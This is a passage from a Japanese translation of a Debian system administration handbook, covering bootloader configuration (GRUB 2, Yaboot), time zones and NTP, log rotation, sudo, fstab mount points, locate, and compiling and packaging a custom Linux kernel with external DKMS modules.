GRUB 2 の設定は `/boot/grub/grub.cfg` に保存されていますが、このファイルは (Debian の場合) 別のファイルから生成されます。`/boot/grub/grub.cfg` を直接変更しないでください。なぜなら、`update-grub` が実行されたら (さまざまなパッケージの更新時に実行されることがあります) そのようなその場限りの変更は失われるからです。`/boot/grub/grub.cfg` ファイルに対して最も一般的な変更を加える (たとえば、カーネルに渡すコマンドラインパラメータを追加したり、メニューの表示される時間を変える) には `/etc/default/grub` に含まれる変数を使います。メニューにエントリを追加するには `/boot/grub/custom.cfg` ファイルを作成するか、`/etc/grub.d/40_custom` ファイルを変更してください。より複雑な設定をするには `/etc/grub.d` にある他のファイルを変更するか、このディレクトリにファイルを追加してください。`/etc/grub.d` ディレクトリに含まれるスクリプトは設定スニペットを返すスクリプトであり、場合によっては外部プログラムを使用するかもしれません。これらのスクリプトは起動したいカーネルのリストを更新するためのものです。すなわち `10_linux` はインストール済み Linux カーネルをリストアップします。そして `20_linux_xen` は Xen 仮想システムをリストアップし、`30_os-prober` は他のオペレーティングシステム (Windows、OS X、Hurd) をリストアップします。

8.8.4. Macintosh コンピュータ (PowerPC) の場合、Yaboot の設定

Yaboot は PowerPC プロセッサを搭載する古い Macintosh コンピュータ用のブートローダです。古い Macintosh コンピュータは PC のように起動せず、「bootstrap」パーティションを使って起動します。「bootstrap」パーティションには、BIOS (または OpenFirmware) が実行する Yaboot が含まれ、さらに `ybin` プログラムがインストールする `yaboot` と設定ファイルも含まれています。設定ファイル `/etc/yaboot.conf` (このファイルは bootstrap パーティションにコピーされ、`yaboot` がディスク上からカーネルのパーティションを見つける方法を指定するファイルです) を変更したら、`ybin` コマンドをもう一度実行する必要があります。

`ybin` を実行する前に、適切な `/etc/yaboot.conf` を作らなければいけません。以下は最低限の設定例です。

例 8.4　Yaboot の設定ファイル

```
# bootstrap パーティション
boot=/dev/sda2
# ディスク
device=hd:
# Linux パーティション
partition=3
root=/dev/sda3
# 3 秒間何もしなければ起動します
# (timeout は 10 倍の値を設定してください)
timeout=30

install=/usr/lib/yaboot/yaboot
magicboot=/usr/lib/yaboot/ofboot
enablecdboot

# 最近インストールされたカーネル
image=/vmlinux
        label=linux
        initrd=/initrd.img
        read-only

# 古いカーネル
image=/vmlinux.old
        label=old
        initrd=/initrd.img.old
        read-only

# Linux と Mac OSX のデュアルブート用
macosx=/dev/sda5

# bsd=/dev/sdaX および macos=/dev/sdaX
# の可能性もあります
```

8.9. その他の設定: 時刻同期、ログ、共有アクセス…

この節にリストされている多くの要素は、GNU/Linux システムの設定のあらゆる側面を極めたいと思う人なら誰でも、知っておくと良い知識です。しかしながらここでは、各要素を簡単に紹介し、頻繁に文書を参照するだけに留めます。

8.9.1. タイムゾーン

BACK TO BASICS

シンボリックリンク

シンボリックリンクは他のファイルへのポインタです。シンボリックリンクにアクセスすると、シンボリックリンクの指すファイルが開かれます。シンボリックリンクを削除しても、シンボリックリンクの指すファイルは削除されません。同様に、シンボリックリンクに対してパーミッションを設定することは不可能であり、シンボリックリンクはシンボリックリンクの指すファイルと同じパーミッションを持つとみなされます。最後に、シンボリックリンクはいかなる種類のファイルを指すことも可能です。具体的に言えば、ディレクトリ、スペシャルファイル (ソケット、名前付きパイプ、デバイスファイルなど)、さらには他のシンボリックリンクでさえ指すことが可能です。

`ln -s` **target link-name** コマンドは **link-name** と名付けられ **target** を指すシンボリックリンクを作成します。

シンボリックリンクのリンク先が存在しない場合リンクは「壊れて」おり、壊れたシンボリックリンクにアクセスするとリンク先のファイルが存在しないことを示すエラーが返されます。別のシンボリックリンクにシンボリックリンクを張るとシンボリックリンクが「連鎖」し、リンク先がリンク元を指していた場合にはリンクの「循環」状態になります。この状態で、循環鎖に含まれるリンクの 1 つにアクセスした場合、特定のエラー (「シンボリックリンクの階層が多すぎます」) が返されます。すなわちこれは、カーネルが何回か循環鎖を巡った後にそうすることを諦めたことを意味しています。

タイムゾーンは初回インストール時に設定され、**tzdata** パッケージを使って設定されます。タイムゾーンを変更するには、`dpkg-reconfigure tzdata` コマンドを使ってください。このコマンドを使えば、対話的に変更したいタイムゾーンを選ぶことが可能です。タイムゾーンの設定は `/etc/timezone` ファイルに保存されます。さらに、`/usr/share/zoneinfo` ディレクトリに含まれるタイムゾーンに対応するファイルが `/etc/localtime` の中にコピーされます。さらに `/etc/localtime` には、夏時間を使う国向けに夏時間が有効な場所で日付を処理するためのルールが含まれています。

一時的にタイムゾーンを変更したい場合、TZ 環境変数を使ってください。TZ 環境変数に設定した値はシステムデフォルトで設定された値よりも優先されます。

```
$ date
2015年  2月 19日 木曜日 19:25:18 JST
$ TZ="Pacific/Honolulu" date
2015年  2月 19日 木曜日 00:25:18 HST
```

NOTE

システムクロック、ハードウェアクロック

コンピュータには 2 種類の時間ソースがあります。コンピュータのマザーボードには「CMOS クロック」と呼ばれるハードウェアクロックがあります。ハードウェアクロックは極めて正確なものというわけではありませんし、比較的アクセスに時間がかかります。また、オペレーティングシステムカーネルにはシステムクロック (ソフトウェアクロック) があります。システムクロックは独自の方法を使って最新の状態に保たれています (タイムサーバの助けを借りているかもしれません。第 8.9.2 節「時刻同期」169 ページをご覧ください)。システムクロックを使えば、CMOS クロックにアクセスする必要がないため、さらに正確な値を得られます。しかしながら、システムクロックは揮発性メモリの中にあるため、マシンが起動する際に毎回ゼロに設定されます。それに対して、CMOS クロックは電池を持っているので、マシンを再起動や停止しても値を「残す」ことが可能です。そんなわけで、システムクロックは起動中に CMOS クロックの値を使って設定され、CMOS クロックはシャットダウンの際に更新されます (CMOS クロックが不適切に調整されていた場合、変更または訂正された場合を考慮して更新します)。

実際のところ、このやり方には問題があります。なぜなら、CMOS クロックは単なるカウンタに過ぎず、タイムゾーンに関する情報を持たないからです。CMOS クロックの値を解釈する際には選択の余地が残されています。すなわち、システムは CMOS クロックを協定世界時 (UTC、旧 GMT) またはローカル時間のどちらで解釈するかを選ばなければいけません。両者は単純な補正定数の違いに過ぎないように見えますが、しかし実際はより複雑な違いがあります。たとえば夏時間がある場合、この補正量は定数ではありません。その結果、特に夏時間が適用される期間中には、補正量の正しさを決定する術がありません。協定世界時とタイムゾーン情報からローカル時間を再構成することは常に可能ですから、CMOS クロックを協定世界時として扱うことを推奨します。

不幸なことに、Windows システムのデフォルト設定はこの推奨に従いません。すなわち Windows システムは CMOS クロックをローカル時間に保ち、コンピュータの起動時には夏時間中の時間変更が既に適用されているか否かを推測して時間変更を適用します。マシン上で Windows だけが動いている場合、このやり方は比較的うまく動作します。しかしコンピュータに複数のシステムがある場合 (「デュアルブート」設定や仮想マシンを通じて他のシステムを動かす場合)、時間が正確か決定する方法は存在せず、時間設定はめちゃくちゃになります。どうしてもコンピュータに Windows を残さなければいけない場合、Windows を設定して CMOS クロックを UTC に保つ (`HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation\RealTimeIsUniversal` レジストリキーを DWORD の「1」に設定する) か、Debian システムで `hwclock --localtime --set` を使いハードウェアクロックをローカル時間に保つ (そして春と秋に手作業で時計を確認する) かのどちらか一方を設定してください。

8.9.2. 時刻同期

時刻同期は、コンピュータ上では不必要の操作のようにも見えますが、ネットワーク上では極めて重要です。ユーザは日付と時間を変更することを許可されていないので、混乱を防ぐためには時刻情報を正確に保つことがとても重要です。さらに、ネットワーク上のすべてのコンピュータの時刻を同期させておけば、異なるマシン間でログからの情報を相互参照しやすくなります。従って、攻撃を受けた際に不正アクセスを受けた複数のマシンで時系列順に操作を再構成することが簡単になります。時刻が同期されていなかった場合、統計目的で複数のマシンからデータを集めても、意味を成しません。

BACK TO BASICS

NTP

NTP (Network Time Protocol) を使うことで、あるマシンが他のマシンとかなり正確に時刻同期することが可能になります。ここで正確とは NTP がネットワーク上で情報を移動することで起こる遅延および予想される補正を考慮しているという意味です。

インターネット上には数多くの NTP サーバがありますが、よく知られている NTP サーバは混んでいるかもしれません。このため、NTP サーバには **pool.ntp.org** を使うことを推奨します。実際のところ、**pool.ntp.org** は公開 NTP サーバとしての機能を果たすことに同意したマシン群です。さらに、国を限定したサブグループに制限することが可能です。たとえば、アメリカ合衆国は **us.pool.ntp.org**、日本は **jp.pool.ntp.org** などです。

しかしながら、巨大なネットワークを管理する場合、公開サーバに同期している自前の NTP サーバを用意することを推奨します。この場合、自分のネットワークに所属する他のマシンはすべて、公開サーバの負荷を増やす代わりに、内部の NTP サーバを使うことが可能です。さらにこうすることで時刻同期の均一性が高められます。なぜなら、すべてのマシンが同じ内部 NTP サーバを使って時刻同期しますし、公開 NTP サーバに比べて内部 NTP サーバのほうがネットワーク転送にかかる時間が短いからです。

ワークステーション向けの設定

ワークステーションは (エネルギーを節約するためだけだったとしても) 日常的に再起動されますから、NTP と同期するのは起動時だけで十分です。これを行うには、**ntpdate** パッケージをインストールします。必要なら /etc/default/ntpdate ファイルを変更して NTP サーバを変更することも可能です。

サーバ向けの設定

サーバはめったに再起動されませんし、サーバのシステム時間を正確にすることはとても重要です。恒久的に正確な時間を保つためには、**ntp** パッケージの提供する NTP サーバをローカルにインストールするべきです。デフォルトの設定では、NTP サーバは **pool.ntp.org** と同期し、ローカルネットワークからの要求に対して時刻を提供します。/etc/ntp.conf ファイルを編集すれば NTP サーバを設定することも可能です。最も重大な影響をおよぼす設定項目は、この NTP サーバがどの NTP サーバを参照するかです。ネットワークに多くのサーバがある場合、公開 NTP サーバと同期するのは 1 台のローカルタイムサーバだけにして、そのローカルタイムサーバを他のサーバに対する時間ソースとして使ってみると良いかもしれません。

GOING FURTHER

GPS モジュールと他の時刻ソース

時刻同期がネットワークで決定的に重要な要素の場合、GPS モジュール (GPS 衛星からの時刻を使う) または DCF-77 モジュール (ドイツのフランクフルト近郊の原子時計と時刻を同期する) をサーバに装備することも可能です。この場合、NTP サーバの設定はもう少し複雑です。そのため必ず事前に文書を調査してください。

8.9.3. ログファイルの循環

ログファイルのサイズは素早く増加しますから、ログファイルをアーカイブに保管することが必要です。これを実現する最も一般的なやり方はアーカイブを循環させることです。つまり、ログファイルは日常的にアーカイブに保管され、最新の **X** 個のアーカイブが保存されます。logrotate はログファイルの循環を担当しているプログラムであり、/etc/logrotate.conf ファイルと /etc/logrotate.d/ ディレクトリ内に含まれるすべてのファイルに書かれた指示に従います。管理者が Debian の定義するログ循環ポリシーを改変したい場合、これらの設定ファイルを変更するかもしれません。logrotate(1) man ページでは、これらの設定ファイルで利用できるすべてのオプションが説明されています。ログ循環で保存されるファイルの数を増加させたかったり、削除せずにアーカイブ専用の特定のディレクトリにログファイルを移動させたいと思うかもしれません。また、電子メールでログを送信してログを別の場所にアーカイブすることも可能です。

logrotate プログラムは cron スケジューリングプログラム (第 9.7 節「cron と atd を使ったスケジューリングタスク」205 ページで説明されています) によって毎日実行されます。

8.9.4. 管理者権限の共有

しばしば、複数の管理者が同じネットワーク上で仕事をする場合があります。root パスワードの共有は的確なやり方ではありません。root パスワードを共有することでコマンドの実行者が隠匿されるため、root 権限を乱用される危険性が生まれます。この種の問題に対する解決策が sudo プログラムです。sudo プログラムは特定のユーザに特別な権限で特定のコマンドを実行することを可能にします。sudo の最も一般的な用途として、信頼できるユーザが root 権限でコマンドを実行できるようにするという用途があります。これを行うには、ユーザは単純に sudo **command** を実行し、自分のパスワードを使って認証するだけです。

sudo パッケージがインストールされると、sudo Unix グループのメンバーは完全な root 権限を与えられます。他の権利を委譲するには、管理者は visudo コマンドを用いなければいけません。visudo コマンドを使うことで、管理者は /etc/sudoers 設定ファイルを変更することが可能です (繰り返しになりますが、これは vi エディタまたは EDITOR 環境変数で表されるその他のエディタを実行します)。**username** ALL=(ALL) ALL のような行を追加することで、指定されたユーザは root としてコマンドを実行することが可能になります。

より洗練された設定を使うことで、特定のコマンドに必要な権限を特定のユーザに与えることも可能です。設定できる要素のすべての詳細を確認するには sudoers(5) man ページをご覧ください。

8.9.5. マウントポイントのリスト

BACK TO BASICS

マウントとアンマウント

Debian などの Unix 系システムでは、ファイルはディレクトリの単一樹状階層構造でまとめられています。/ ディレクトリは「ルートディレクトリ」と呼ばれています。そして、すべての追加的なディレクトリはこのルートディレクトリの中のサブディレクトリです。「マウント」とは周辺機器デバイス (通常はハードドライブ) の内容をシステムの一般的なファイルツリーに含める操作です。結果として、ユーザの個人データを保存するために別のハードドライブを使う場合、このディスクは /home/ ディレクトリに「マウント」されなければいけません。ルートファイルシステムはカーネルによって起動時に常にマウントされます。そして、他のデバイスはしばしばその後に続くスタートアップシーケンス中か mount コマンドを使って手作業でマウントされます。

いくつかのリムーバブルデバイスは接続時に自動的にマウントされます。特に GNOME、KDE、その他のグラフィカルデスクトップ環境を使っている場合には自動的にマウントされます。他のデバイスについてはユーザが手作業でマウントしなければいけません。同様に、アンマウント (ファイルツリーから削除) も手動で行わなければいけません。普通のユーザは通常 mount や umount コマンドを実行する権限を持っていません。しかしながら、user オプションを /etc/fstab ファイルに含めることで、管理者はユーザに (マウントポイント別に) これらの操作を行う権限を与えることも可能です。

mount コマンドは引数なしで使うことも可能です (すべてのマウントされたファイルシステムを表示します)。デバイスをマウントおよびアンマウントする場合はパラメータが必要です。すべてのパラメータを見るには、対応する man ページである mount(8) と umount(8) を参照してください。単純なマウントの場合、構文もまた単純です。たとえば、ext3 ファイルシステムの /dev/sdc1 パーティションを /mnt/tmp/ ディレクトリにマウントするには、mount -t ext3 /dev/sdc1 /mnt/tmp/ のように実行してください。

/etc/fstab ファイルには、起動時に自動マウントされるものやリムーバブルストレージデバイス用の手作業でマウントするものを含めて、すべての考え得るマウントポイントがリストされています。それぞれのマウントポイントは空白区切りフィールドを持つ各行によって表現されます。

- マウントするデバイス。このフィールドにはローカルパーティション (ハードドライブ、CD-ROM) またはリモートファイルシステム (NFS など) を指定します。

  このフィールドではしばしば、UUID= を前に付けたファイルシステムの一意的な ID が使われることがあります (ID は blkid **device** を使えばわかります)。一意的な ID を使うことで、ディスクを取り付けたり取り外したことや異なる順番でディスクが検出されたことによりデバイスの名前が変わっても問題がなくなります。

- マウントポイント。このフィールドではデバイス、リモートシステム、パーティションがマウントされるローカルファイルシステムの場所を指定します。

- ファイルシステムタイプ。このフィールドではマウントされたデバイスで使われているファイルシステムを定義します。ext4、ext3、vfat、ntfs、btrfs、xfs などがその例です。

BACK TO BASICS	
NFS、ネットワークファイルシステム	NFS はネットワークファイルシステムです。Linux の下では、NFS を使ってローカルファイルシステムにリモートファイルを含めることにより、リモートファイルへの透過的なアクセスが可能になります。

  既知のファイルシステムの完全なリストは mount(8) man ページに書かれています。swap は swap パーティション専用の特殊値です。そして auto は mount プログラムに自動的にファイルシステムを検出させるための特殊値です (この値はディスクリーダと USB メモリで特に便利です。なぜなら、機器ごとに異なるファイルシステムを使っている可能性があるからです)。

- オプション。ファイルシステムごとに多くのオプションがあり、これらの値は mount man ページに書かれています。最もよく使われるものを以下に挙げます。

  - rw または ro。これはデバイスが読み書き可能状態または読み取り専用でマウントされることを意味しています。
  - noauto。これは起動時の自動マウントを無効化します。
  - nofail。nofail オプションを使えば、デバイスが見つからなかった場合にも起動処理が中断されなくなります。nofail オプションを使うデバイスは起動中に取り外されている可能性のある外付けドライブ上のデバイスだけにしてください。なぜなら、systemd は起動処理を続行する前に自動的にマウントされなければならないすべてのマウントポイントが実際にマウントされていることを確認するからです。nofail オプションは x-systemd.device-timeout=5s オプションと併用することが可能であるという点に注意してください。両者を併用することで、systemd は 5 秒間だけデバイスを探索し、その後起動処理を続行するようになります (systemd.mount(5) を参照してください)。
  - user。user オプションを使うことですべてのユーザが対象のファイルシステムをマウント可能になります (user オプションを指定しなければ、マウントおよびアンマウント操作をできるのは root ユーザだけに限られます)。
  - defaults。defaults オプションを使うとデフォルトオプション群を指定したことになります。デフォルトオプション群とは rw、suid、dev、exec、auto、nouser、async です。defaults の後に nosuid、nodev などを付ければ、suid、dev をブロックし、これらのオプションを無効化することも可能です。user オプションを追加すればこれが再有効化されます。なぜなら defaults は nouser を含むからです。

- バックアップ。このフィールドにはほぼ必ず 0 を設定します。1 を設定した場合、dump ツールに対してこのパーティションにはバックアップされるデータが含まれることが伝えられます。

- ファイルシステムのチェック順。このフィールドは起動時にファイルシステムの完全性がチェックされるか否かと、チェックが実行される順番を意味します。0 の場合、完全性はチェックされません。ルートファイルシステムに対しては 1 を設定するべきです。他の恒久的なファイルシステムに対しては 2 を設定するべきです。

例 8.5　/etc/fstab ファイルの例

```
# /etc/fstab: 固定ファイルシステムの情報。
#
```

```
# <ファイルシステム> <マウントポイント> <タイプ> <オプション> <ダンプ> <チェック順>
proc            /proc           proc    defaults        0       0
# インストール中に / は /dev/sda1 にありました
UUID=c964222e-6af1-4985-be04-19d7c764d0a7 / ext3 errors=remount-ro 0 1
# インストール中に swap は /dev/sda5 にありました
UUID=ee880013-0f63-4251-b5c6-b771f53bd90e none swap sw  0       0
/dev/scd0       /media/cdrom0   udf,iso9660 user,noauto 0       0
/dev/fd0        /media/floppy   auto    rw,user,noauto  0       0
arrakis:/shared /shared         nfs     defaults        0       0
```

この例の最後のエントリはネットワークファイルシステム (NFS) を表しています。すなわち **arrakis** サーバの /shared/ ディレクトリがローカルマシンの /shared/ にマウントされます。/etc/fstab ファイルのフォーマットは fstab(5) man ページに書かれています。

GOING FURTHER

自動マウント

am-utils パッケージは amd 自動マウントユーティリティを提供します。amd ユーティリティを使うと、通常のマウントポイントを通じてリムーバブルメディアにアクセスすれば、リムーバブルメディアをマウントできます。amd はリムーバブルメディアにアクセスしているプロセスがなくなればそのメディアをアンマウントします。

他の自動マウントユーティリティも存在します。たとえば **autofs** パッケージに含まれる automount です。

GNOME、KDE、その他のグラフィカルデスクトップ環境は **udisks** と協調して、リムーバブルメディアが接続されたらそれを自動的にマウントします。

8.9.6. locate と updatedb

locate コマンドを使うと、名前の一部を知っているだけのファイルの場所を見つけ出すことが可能です。結果はほぼ一瞬で返されます。なぜなら locate コマンドはシステムのファイルのすべての場所を保存するデータベースを参照しているからです。さらにこのデータベースは updatedb コマンドを使って毎日更新されます。locate コマンドには複数の実装があり、Debian は標準的なシステム向けに **mlocate** を選んでいます。

mlocate は賢明なので、システムのすべてのファイルについて知っているデータベースを使っている (なぜなら、mlocate の updatedb 実装は root 権限で実行されるからです) にも関わらず、コマンドを実行したユーザがアクセスできるファイルだけを返します。さらなる安全性のために、管理者は /etc/updatedb.conf の中で PRUNEDPATHS を使って、いくつかのディレクトリのインデックス化を避けることが可能です。

8.10. カーネルのコンパイル

Debian の提供するカーネルは、既存のハードウェア構成の広い領域をカバーするために、できる限り多くの機能およびドライバを組み込んでいます。このため、一部のユーザにとっては本当に必要なものだけを含める目的でカーネルを再コンパイルするほうが良い場合もあります。カーネルを再コンパイルする理由は 2 つあります。1 つ目は、メモリ消費量を最適化できるかもしれないからです。全く使われないカーネルコードは無駄にメモリを専有するため (カーネルコードは決してスワップ領域に「移動」されません。なぜなら、カーネルコードがスワップ用の RAM 領域を管理しているからです)、システム全体のパフォーマンスを低下さ

せます。2 つ目は、カーネルを自前でコンパイルすればカーネルコードのごく一部をコンパイルして実行することになり、セキュリティ問題の危険性を限定することが可能だからです。

NOTE
セキュリティ更新

自前でカーネルをコンパイルする場合、以下の点に同意しなければいけません。それは、Debian は自前でコンパイルしたカスタムカーネルに対するセキュリティ更新を保証できないという点です。Debian が提供するカーネルを使うことにすれば、Debian プロジェクトのセキュリティチームが用意した更新の恩恵を受けることができます。

さらに、パッチの形でしか供給されていない (標準的なカーネルのバージョンに含まれていない) 特定の機能を使いたい場合もカーネルの再コンパイルが必要です。

GOING FURTHER
Debian カーネルハンドブック

Debian カーネルチームは「Debian カーネルハンドブック」をメンテナンスしています (「Debian カーネルハンドブック」は **debian-kernel-handbook** パッケージからも入手できます)。「Debian カーネルハンドブック」ではカーネルに関連する多くの作業と公式 Debian カーネルパッケージの取り扱い方法が包括的に説明されています。「Debian カーネルハンドブック」はこの節で提供される情報よりも詳しい情報が必要になった場合に最初に調べるべき文書です。

➨ `http://kernel-handbook.alioth.debian.org`

8.10.1. 前置きと前提条件

当然ながら、Debian はパッケージの形でカーネルを管理します。このやり方はカーネルをコンパイルおよびインストールする伝統的な方法とは異なります。しかしながら、カーネルをパッケージングシステムの制御下に置くことで、カーネルを完全に削除したり複数のマシンに配備したりすることが可能になります。さらに、カーネルのパッケージに関連付けられたスクリプトのおかげで、ブートローダと initrd ジェネレータとの連動が自動化されます。

上流開発の Linux ソースには、カーネルの Debian パッケージをビルドするために必要な要素のすべてが含まれています。しかし、Debian パッケージをビルドするのに必要なツールを確実にそろえるためには **build-essential** のインストールも必要です。さらに、カーネルを設定するためには **libncurses5-dev** パッケージも必要です。最後に、**fakeroot** パッケージを使えば管理者権限を使わずに Debian パッケージを作成することも可能になります。

CULTURE
kernel-package の古き良き時代

Linux ビルドシステムに適切な Debian パッケージをビルドする能力がなかった時代、Debian パッケージをビルドするのに推奨されていた方法は **kernel-package** パッケージに含まれる `make-kpkg` を使うやり方でした。

8.10.2. ソースの取得

Debian システム上で便利に使えるプログラムと同様に、Linux カーネルソースはパッケージとして提供されています。Linux カーネルソースを手に入れるには、**linux-source-**version パッケージをインストールしてください。Debian がパッケージングしたカーネルのさまざまなバージョンを確認するには `apt-cache search ^linux-source` コマンドを使ってください。最新のバージョンは**不安定版**ディストリビューションに含まれ

ています。すなわち、大して危険性を伴わずにカーネルの最新バージョンを入手できます (特に APT が第 6.2.6 節「複数ディストリビューションの利用」116 ページの説明に従って設定されている場合、大きな危険性はないと言えます)。Debian のカーネルソースパッケージに含まれるソースコードは Linus Torvalds とカーネル開発者が公開したソースコードと全く同じものではないという点に注意してください。すべてのディストリビューションと同様に、Debian もまたカーネルソースに数多くのパッチを適用します。このパッチは今後 Linux の上流開発版に取り込まれるかもしれません (取り込まれない場合もあります)。これらの変更には新しいカーネルバージョンに追加された修正/機能/ドライバのバックポート、まだ上流開発の Linux ツリーに (完全に) マージされていない新機能、場合によっては Debian 特有の変更が含まれます。

この節のこれ以降の説明では、Linux カーネルのバージョン 3.16 を例に挙げます。しかしながら、この例はもちろん他のカーネルの特定のバージョンにも適用できます。

linux-source-3.16 パッケージがインストール済みと仮定します。**linux-source-3.16** パッケージには、カーネルソースの圧縮アーカイブである `/usr/src/linux-source-3.16.tar.xz` が含まれます。この圧縮アーカイブを新しいディレクトリに展開してください (`/usr/src/` の下のディレクトリに展開しないよう注意してください。なぜなら、Linux カーネルをコンパイルするのに特別なパーミッションは必要ないからです)。すなわち `~/kernel/` に展開することが適切です。

```
$ mkdir ~/kernel; cd ~/kernel
$ tar -xaf /usr/src/linux-source-3.16.tar.xz
```

CULTURE

カーネルソースの場所

伝統的に、Linux カーネルソースは `/usr/src/linux/` に置かれているので、カーネルをコンパイルするには root 権限が必要です。しかしながら、その必要がないにも関わらず管理者権限を使って作業するべきではありません。src グループのメンバーは `/usr/src/` ディレクトリの中で作業することを許されていますが、それでもなおこのディレクトリの中で作業するべきではありません。カーネルソースを個人ディレクトリに置けば、あらゆる点でセキュリティを確保できます。つまり `/usr/` 以下に存在するファイルはパッケージングシステムの知っているファイルだけになりますし、使用中のカーネルの情報を収集しようとして `/usr/src/linux` を読むプログラムを間違った方向に導く危険性もなくなります。

8.10.3. カーネルの設定

次の段階で、必要性に応じてカーネルを設定します。完全な手順はその目標に依存します。

より最近のカーネルのバージョンを再コンパイルする場合 (おそらく追加的パッチを適用する場合)、その設定は Debian の提案する設定と可能な限り似たものになるでしょう。この場合、すべてを最初から再設定するのではなく、`/boot/config-`**`version`** ファイル (ここで version は現在使っているカーネルで、`uname -r` コマンドでわかります) をカーネルソースに含まれるディレクトリ内の `.config` ファイルにコピーするだけで十分です。

```
$ cp /boot/config-3.16.0-4-amd64 ~/kernel/linux-source-3.16/.config
```

設定を変更する必要がなければ、ここまでで止めて第 8.10.4 節「パッケージのコンパイルとビルド」176 ページに進むことも可能です。一方で、設定を変更する必要があったり最初からすべてを再設定する場合、時間をかけてカーネルを設定しなければいけません。カーネルソースディレクトリには `make` **`target`** コマンドを呼び出して使うさまざまな専用のインターフェースがあります。ここで **target** は以下に説明するものの 1 つです。

make menuconfig は階層構造でオプションを案内するテキストモードインターフェースをコンパイルして実行します (コンパイルおよび実行には **libncurses5-dev** パッケージが必要です)。Space キーで選択されたオプションの値を変更します。Enter キーで画面の下部にある選択状態のボタンを押します。さらに Select ボタンで選択されたサブメニューを返します。さらに Exit ボタンで現在の画面を閉じて階層を一段階上に戻ります。さらに Help ボタンで選択されたオプションの役割に関するより詳細な情報を表示します。矢印キーでオプションリストとボタンの間を移動します。設定プログラムを終了するには、メインメニューから Exit ボタンを選択してください。すると、このプログラムは変更を保存するよう提案します。そして変更内容に満足したら、保存してください。

他のインターフェースも同様の機能を持っていますが、より現代的なグラフィカルインターフェースで機能します。make xconfig は Qt グラフィカルインターフェース、make gconfig は GTK+ を使います。make xconfig には **libqt4-dev** が必要で、make gconfig には **libglade2-dev** と **libgtk2.0-dev** が必要です。

これらの設定インターフェースのうち 1 つを使う場合、合理的なデフォルト設定から始めるのが良いアイディアです。カーネルのデフォルト設定は arch/**arch**/configs/*_defconfig に置かれています。この設定ファイルを適切な場所に置くには、make x86_64_defconfig (64 ビット PC の場合) や make i386_defconfig (32 ビット PC の場合) などのコマンドを使います。

TIP

古い .config ファイルに対処する

他の (通常古い) カーネルバージョンで生成された .config ファイルを使う場合、内容を更新しなければいけません。内容を更新するには make oldconfig を使います。このコマンドは新しい設定オプションに関する質問を対話的に尋ねます。すべての質問に対してデフォルトの答えを使う場合、make olddefconfig を使ってください。すべての質問にデフォルトと反対の答えを使う場合、make oldnoconfig を使ってください。

8.10.4. パッケージのコンパイルとビルド

NOTE

再ビルド前の片付け

既にそのディレクトリの中で 1 回コンパイルした状態で、(たとえばカーネル設定を大幅に変更したなどの理由で) すべてを最初から再ビルドしたい場合、make clean を実行してコンパイル済みファイルを削除しなければいけません。make distclean はさらに生成されたファイルも削除します。この中には .config ファイルも含まれますので、忘れずにバックアップしてください。

カーネル設定の準備が完了したら、make deb-pkg で 5 つの Debian パッケージが生成されます。具体的に言えば、カーネルイメージと関連モジュールを含む **linux-image-**version、外部モジュールのビルドに必要なヘッダファイルを含む **linux-headers-**version、一部のドライバから要求されるファームウェアファイルを含む **linux-firmware-image-**version (Debian の配布しているカーネルソースからカーネルをビルドする場合、このパッケージは生成されないかもしれません)、カーネルイメージとモジュールのデバッグシンボルを含む **linux-image-**version**-dbg**、GNU glibc などのユーザ空間ライブラリに関連するヘッダを含む **linux-libc-dev** が生成されます。

ここで **version** は上流開発バージョン (Makefile 中の VERSION、PATCHLEVEL、SUBLEVEL、EXTRAVERSION から定義されます)、LOCALVERSION 設定パラメータ、LOCALVERSION 環境変数を連結したものです。パッケージバージョンは **version** に規則正しく増え続けるリビジョン番号 (.version に保存されています) を付け加えたものになります。ただし、KDEB_PKGVERSION 環境変数を使えばパッケージバージョンを上書きすることも可能です。

```
$ make deb-pkg LOCALVERSION=-falcot KDEB_PKGVERSION=$(make kernelversion)-1
[...]
$ ls ../*.deb
../linux-headers-3.16.7-ckt4-falcot_3.16.7-1_amd64.deb
../linux-image-3.16.7-ckt4-falcot_3.16.7-1_amd64.deb
../linux-image-3.16.7-ckt4-falcot-dbg_3.16.7-1_amd64.deb
../linux-libc-dev_3.16.7-1_amd64.deb
```

8.10.5. 外部モジュールのコンパイル

いくつかのモジュールは公式の Linux カーネルの外でメンテナンスされています。このような外部モジュールを使うには、適合するカーネルと一緒にモジュールをコンパイルしなければいけません。Debian は専用パッケージの形で数多くのサードパーティ製の外部モジュールを配布しています。たとえば、**xtables-addons-source** (iptables 用の追加モジュール)、**oss4-source** (Open Sound System、代替音声ドライバ) などがその一例です。

これらの外部モジュール用パッケージは多種多様で、ここですべてを挙げることはできません。外部モジュール用パッケージを検索するには `apt-cache search source$` コマンドを使います。しかしながら、完全なリストがあったとしても、それは特に役立つわけではありません。なぜなら、外部モジュールが必要であるとわかっている場合を除いて、外部モジュールをコンパイルする特別な理由はないからです。デバイスの動作に外部モジュールが必要になる場合、デバイスの文書が Linux でそのデバイスを機能させるために必要な特定のモジュールについて詳しく説明している場合が多いです。

たとえば、**xtables-addons-source** パッケージを見てみましょう。インストールの後、モジュールのソース `.tar.bz2` が `/usr/src/` に保存されます。手作業でこの tarball を展開してモジュールをビルドすることも可能ですが、実際のところ、DKMS を使ってビルド作業を自動化する方が良いです。多くのモジュールは、パッケージ名が -dkms サフィックスで終わるパッケージの中で、DKMS 統合に必要な要素を提供します。今回の場合、インストール済みカーネルに対応する **linux-headers-*** パッケージを持っているならば、現在のカーネル用のカーネルモジュールをコンパイルするために必要な作業は **xtables-addons-dkms** をインストールするだけです。たとえば、**linux-image-amd64** を使っている場合、**linux-headers-amd64** をインストールする必要があります。

```
$ sudo apt install xtables-addons-dkms

[...]
xtables-addons-dkms (2.6-1) を設定しています ...
Loading new xtables-addons-2.6 DKMS files...
First Installation: checking all kernels...
Building only for 3.16.0-4-amd64
Building initial module for 3.16.0-4-amd64
Done.

xt_ACCOUNT:
Running module version sanity check.
 - Original module
   - No original module exists within this kernel
```

```
 - Installation
   - Installing to /lib/modules/3.16.0-4-amd64/updates/dkms/
[...]
DKMS: install completed.
$ sudo dkms status
xtables-addons, 2.6, 3.16.0-4-amd64, x86_64: installed
$ sudo modinfo xt_ACCOUNT
filename:       /lib/modules/3.16.0-4-amd64/updates/dkms/xt_ACCOUNT.ko
license:        GPL
alias:          ipt_ACCOUNT
author:         Intra2net AG <opensource@intra2net.com>
description:    Xtables: per-IP accounting for large prefixes
[...]
```

ALTERNATIVE

module-assistant

